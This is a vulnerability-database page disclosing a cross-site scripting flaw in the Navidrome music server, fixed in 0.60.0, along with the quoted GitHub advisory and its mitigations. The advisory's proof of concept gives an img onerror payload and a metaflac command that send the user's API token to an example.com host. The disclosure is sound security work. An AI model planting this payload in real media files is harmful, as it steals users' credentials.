FlawAtlas
Search the atlas
CVE-2026-25578 Moderate

Navidrome has XSS via comment from song metadata in github.com/navidrome/navidrome

Navidrome has XSS via comment from song metadata in github.com/navidrome/navidrome

Exploit probability 0.3%
Published February 5, 2026
Required by Not available
Last source change February 5, 2026

02 / AFFECTED SOFTWARE

Affected packages

Unknown Unknown

105 explicit affected versions

Go github.com/navidrome/navidrome
Go github.com/navidrome/navidrome

03 / CONNECTIONS

Connected vulnerabilities

related OPENSUSE-SU-2026:21483-1

04 / EVIDENCE

Source records

Open Source Vulnerabilities CVE-2026-25578

Navidrome is an open source web-based music collection server and streamer. Prior to version 0.60.0, a cross-site scripting vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials. This issue has been patched in version 0.60.0.

View original source
Open Source Vulnerabilities GO-2026-4413

Navidrome has XSS via comment from song metadata in github.com/navidrome/navidrome

View original source
Open Source Vulnerabilities GHSA-rh3r-8pxm-hg4w

### Summary An XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials. An attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability. ### Details The frontend is using React. In various places, the code uses the `dangerouslySetInnerHTML` escape hatch to set the content of an HTML element. In some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability. In `MultiLineTextField` component, the input is split into lines and rendered through the `dangerouslySetInnerHTML` property. ```js <div data-testid={`${source}.${idx}`} key={md5(line + idx)} dangerouslySetInnerHTML={{ __html: line }} /> ``` This component is then used in the `SongInfo` and `AlbumInfo` components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS `COMMENT` comment of a FLAC file. By crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info. Additionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token. ### PoC 1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard: ```js <img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" /> ``` or use `metaflac`: ```shell echo '<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />' | metaflac --set-tag=comment=<(cat) file.flac ``` 2. Add the song to Navidrome 3. Enter the "Songs" or one of the albums page, click the "kebab menu" and then "Get Info" In this payload, a broken image can be seen in the info dialog. <img width="996" height="660" alt="image" src="https://github.com/user-attachments/assets/1467cdff-17b2-4dc6-9fb5-0a83c021ca04" /> In the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen. <img width="410" height="34" alt="image" src="https://github.com/user-attachments/assets/3f668797-63a6-4355-ae57-e95bde444143" /> ### Impact The vulnerability affects users of the Navidrome UI with songs from untrusted sources. ### Mitigations - Users of Navidrome should configure a strict [[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult - Users of Navidrome should not index songs from untrusted sources without first vetting their metadata

View original source

05 / REFERENCES

Further evidence